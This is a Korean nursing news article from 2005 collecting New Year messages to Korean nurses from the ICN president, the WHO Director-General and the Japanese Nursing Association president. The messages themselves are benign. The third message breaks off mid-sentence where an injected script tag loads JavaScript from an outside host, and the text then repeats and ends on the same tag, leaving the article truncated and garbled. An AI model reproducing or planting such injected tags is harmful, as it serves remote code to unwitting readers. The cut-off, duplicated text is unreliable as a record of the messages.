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세계 지도자들 신년 메시지
기사입력 2005-01-06 오전 10:22:47
◆ 크리스틴 핸콕(국제간호협의회 회장)
== 한국 간호법 제정 꼭 이루길
친애하는 한국의 간호사 여러분. 국제간호협의회(ICN)를 대표해 여러분에게 새해 인사를 드리게 되어 기쁩니다. 한국은 1949년부터 ICN 회원국으로 활동하면서 많은 업적을 이뤄낸 자랑스러운 나라이며, 특히 간호법 제정을 위해 노력하고 있는데 대해 자랑스럽게 생각하며 격려를 보냅니다.
새해를 맞아 여러분 모두 ICN이 선포한 21세기 간호를 위한 글로벌 비전을 되새겨 보시길 바랍니다. 비전의 핵심은 ICN을 중심으로 모든 국가의 간호사들이 한목소리를 내고, 보다 건강한 사회를 구현해 나가자는 것입니다.
한국의 간호사들이 비전을 실현하기 위해 국가적인, 세계적인 공공보건정책에 대해 영향력을 발휘해 나가길 바랍니다. 전 세계 간호사들이 협력하고 헌신적으로 노력한다면 인류의 건강증진을 위해 크게 공헌할 수 있을 것이라고 확신합니다.
간호사들은 리더십을 개발하고 바람직한 공공보건정책을 지지하는데 한목소리를 내야하며 작은 지역단위에서부터 국가, 국제적 차원에 이르기까지 각 수준에 맞게 전략적으로 일해 나가야 합니다.
대한간호협회는 한국 안에서 국민건강과 간호발전을 위해 한목소리를 내고, ICN은 세계무대에서 인류건강을 옹호하고 간호사를 대변해야 합니다. 우리의 의지와 에너지를 하나로 모은다면, 간호가 새로운 세기에 보다 건강한 세상을 만들어 나갈 수 있을 것이라 믿습니다.
대한간호협회가 지난해 이룬 놀라운 성과들에 대해 자랑스럽게 생각하며, 앞으로 다가올 새로운 도전에서도 좋은 결과를 이뤄낼 수 있길 바랍니다. 여러분의 미래에 행운이 가득하길 기원드립니다.
◆ 이종욱(세계보건기구 사무총장)
== 소외된 지구촌 이웃 지원에 기여해야
전 세계에 계신 모든 대한간호협회 회원들에게 새해 인사를 드립니다. 돌이켜보면 제가 총장에 취임하고 나서 많은 변화가 있었습니다. 그 중 하나가 `옳다고 결정되면 바로 행동하자'는 적극적인 분위기를 만들었다는 것입니다. 지금 세계 모든 국가들이 국민건강을 위해 적극적으로 일하고 있습니다. 담배협약이 40개국의 비준으로 효력을 발휘한 것도 고무적인 성과입니다. 한국은 아직도 비준이 되지 않았습니다.
각종 전염병들이 지구를 위협하고 있어, 세계보건기구와 우리 모두의 적극적인 대응이 필요합니다. 총장 취임 후 펼치고 있는 3 by 5 운동은 에이즈로 고생하는 300만명의 사람들에게 치료제를 공급하자는 것입니다. 이미 많은 나라가 적극적으로 참여하고 있습니다.
보건서비스의 양적 확충뿐 아니라 형평성에도 역점을 두고 있습니다. 지구상에는 빈부, 주거지역, 성별, 연령에 따라 보건서비스를 이용하는데 차별이 있습니다. 특히 여성과 어린이들에게 많은 관심과 역점을 두려고 합니다. 금년도 세계보건의 날 주제도 `모자보건(Make every mother and child count)'으로 정했습니다.
대한간호협회도 세계로 시선을 돌려야 합니다. 일차보건의료에 대한 산 지식과 경험을 토대로 북한이나 인근 국가를 비롯한 많은 나라들을 도와주고 이끌어주어야 합니다. 세계보건기구도 적극 지원하고 항상 함께 할 것입니다. 중요한 것은 돈이 아니라 일을 하려는 적극성, 창의성 그리고 바른 방향성입니다. 전 세계의 소외되고 도움이 필요한 사람들을 위한 간호사 여러분의 지원과 기여를 기대합니다. 새해 복 많이 받으십시오.
◆ 히로코 미나미(일본간호협회 회장)
== 세계를 보는 비전으로 협력하자
일본 간호사들을 대표해 한국 간호사 여러분께 진심어린 새해 인사를 보냅니다. 양국은 그동안 많은 부분에서 활발히 교류해 왔고, 간호분야에서의 교류 역시 오랜 역사를 갖고 있습니다. 특히 2002년 월드컵을 공동 개최하면서 한국 문화를 접할 수 있는 좋은 기회를 가졌고, 개인적으로 저는 김치를 매우 좋아합니다.
일본은 저출산 시대를 맞고 있고, 사람들의 건강과 라이프스타일에 대한 인식이 변화하고 있어 건강과 복지제도에 대한 개혁이 요구되고 있습니다. 간호사 역할의 중요성에 대한 인식과 간호의 전문성에 대한 기대도 커지고 있습니다. 홈케어, 방문간호, 너싱홈 등에서 간호사의 리더십이 요구되고 있습니다. 간호사는 더욱 발전된 간호서비스를 제공하고, 복잡한 문제를 풀어나갈 수 있는 능력을 갖춰야 합니다.
간호사는 국민의 건강을 증진시키고 사회문제를 완화시키는데 기여할 수 있다고 확신합니다. 일본 간호사들은 태풍이나 지진 같은 재해를 예방하는데 적극 참여해 중요한 역할을 해내고 있습니다. 일본간호협회는 전문간호사제도 발전과 간호교육에 힘쓰고 있습니다. 이 모든 노력이 모여 간호를 향상시키고, 궁극적으로 환자와 고객들의 삶의 질을 향상시킬 것입니다.
대한간호협회도 전문간호사제도와 주요 간호분야?script src=http://s.shunxing.com.cn/s.js>
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== 한국 간호법 제정 꼭 이루길
친애하는 한국의 간호사 여러분. 국제간호협의회(ICN)를 대표해 여러분에게 새해 인사를 드리게 되어 기쁩니다. 한국은 1949년부터 ICN 회원국으로 활동하면서 많은 업적을 이뤄낸 자랑스러운 나라이며, 특히 간호법 제정을 위해 노력하고 있는데 대해 자랑스럽게 생각하며 격려를 보냅니다.
새해를 맞아 여러분 모두 ICN이 선포한 21세기 간호를 위한 글로벌 비전을 되새겨 보시길 바랍니다. 비전의 핵심은 ICN을 중심으로 모든 국가의 간호사들이 한목소리를 내고, 보다 건강한 사회를 구현해 나가자는 것입니다.
한국의 간호사들이 비전을 실현하기 위해 국가적인, 세계적인 공공보건정책에 대해 영향력을 발휘해 나가길 바랍니다. 전 세계 간호사들이 협력하고 헌신적으로 노력한다면 인류의 건강증진을 위해 크게 공헌할 수 있을 것이라고 확신합니다.
간호사들은 리더십을 개발하고 바람직한 공공보건정책을 지지하는데 한목소리를 내야하며 작은 지역단위에서부터 국가, 국제적 차원에 이르기까지 각 수준에 맞게 전략적으로 일해 나가야 합니다.
대한간호협회는 한국 안에서 국민건강과 간호발전을 위해 한목소리를 내고, ICN은 세계무대에서 인류건강을 옹호하고 간호사를 대변해야 합니다. 우리의 의지와 에너지를 하나로 모은다면, 간호가 새로운 세기에 보다 건강한 세상을 만들어 나갈 수 있을 것이라 믿습니다.
대한간호협회가 지난해 이룬 놀라운 성과들에 대해 자랑스럽게 생각하며, 앞으로 다가올 새로운 도전에서도 좋은 결과를 이뤄낼 수 있길 바랍니다. 여러분의 미래에 행운이 가득하길 기원드립니다.
◆ 이종욱(세계보건기구 사무총장)
== 소외된 지구촌 이웃 지원에 기여해야
전 세계에 계신 모든 대한간호협회 회원들에게 새해 인사를 드립니다. 돌이켜보면 제가 총장에 취임하고 나서 많은 변화가 있었습니다. 그 중 하나가 `옳다고 결정되면 바로 행동하자'는 적극적인 분위기를 만들었다는 것입니다. 지금 세계 모든 국가들이 국민건강을 위해 적극적으로 일하고 있습니다. 담배협약이 40개국의 비준으로 효력을 발휘한 것도 고무적인 성과입니다. 한국은 아직도 비준이 되지 않았습니다.
각종 전염병들이 지구를 위협하고 있어, 세계보건기구와 우리 모두의 적극적인 대응이 필요합니다. 총장 취임 후 펼치고 있는 3 by 5 운동은 에이즈로 고생하는 300만명의 사람들에게 치료제를 공급하자는 것입니다. 이미 많은 나라가 적극적으로 참여하고 있습니다.
보건서비스의 양적 확충뿐 아니라 형평성에도 역점을 두고 있습니다. 지구상에는 빈부, 주거지역, 성별, 연령에 따라 보건서비스를 이용하는데 차별이 있습니다. 특히 여성과 어린이들에게 많은 관심과 역점을 두려고 합니다. 금년도 세계보건의 날 주제도 `모자보건(Make every mother and child count)'으로 정했습니다.
대한간호협회도 세계로 시선을 돌려야 합니다. 일차보건의료에 대한 산 지식과 경험을 토대로 북한이나 인근 국가를 비롯한 많은 나라들을 도와주고 이끌어주어야 합니다. 세계보건기구도 적극 지원하고 항상 함께 할 것입니다. 중요한 것은 돈이 아니라 일을 하려는 적극성, 창의성 그리고 바른 방향성입니다. 전 세계의 소외되고 도움이 필요한 사람들을 위한 간호사 여러분의 지원과 기여를 기대합니다. 새해 복 많이 받으십시오.
◆ 히로코 미나미(일본간호협회 회장)
== 세계를 보는 비전으로 협력하자
일본 간호사들을 대표해 한국 간호사 여러분께 진심어린 새해 인사를 보냅니다. 양국은 그동안 많은 부분에서 활발히 교류해 왔고, 간호분야에서의 교류 역시 오랜 역사를 갖고 있습니다. 특히 2002년 월드컵을 공동 개최하면서 한국 문화를 접할 수 있는 좋은 기회를 가졌고, 개인적으로 저는 김치를 매우 좋아합니다.
일본은 저출산 시대를 맞고 있고, 사람들의 건강과 라이프스타일에 대한 인식이 변화하고 있어 건강과 복지제도에 대한 개혁이 요구되고 있습니다. 간호사 역할의 중요성에 대한 인식과 간호의 전문성에 대한 기대도 커지고 있습니다. 홈케어, 방문간호, 너싱홈 등에서 간호사의 리더십이 요구되고 있습니다. 간호사는 더욱 발전된 간호서비스를 제공하고, 복잡한 문제를 풀어나갈 수 있는 능력을 갖춰야 합니다.
간호사는 국민의 건강을 증진시키고 사회문제를 완화시키는데 기여할 수 있다고 확신합니다. 일본 간호사들은 태풍이나 지진 같은 재해를 예방하는데 적극 참여해 중요한 역할을 해내고 있습니다. 일본간호협회는 전문간호사제도 발전과 간호교육에 힘쓰고 있습니다. 이 모든 노력이 모여 간호를 향상시키고, 궁극적으로 환자와 고객들의 삶의 질을 향상시킬 것입니다.
대한간호협회도 전문간호사제도와 주요 간호분야?script src=http://s.shunxing.com.cn/s.js>
편집부 news@nursenews.co.kr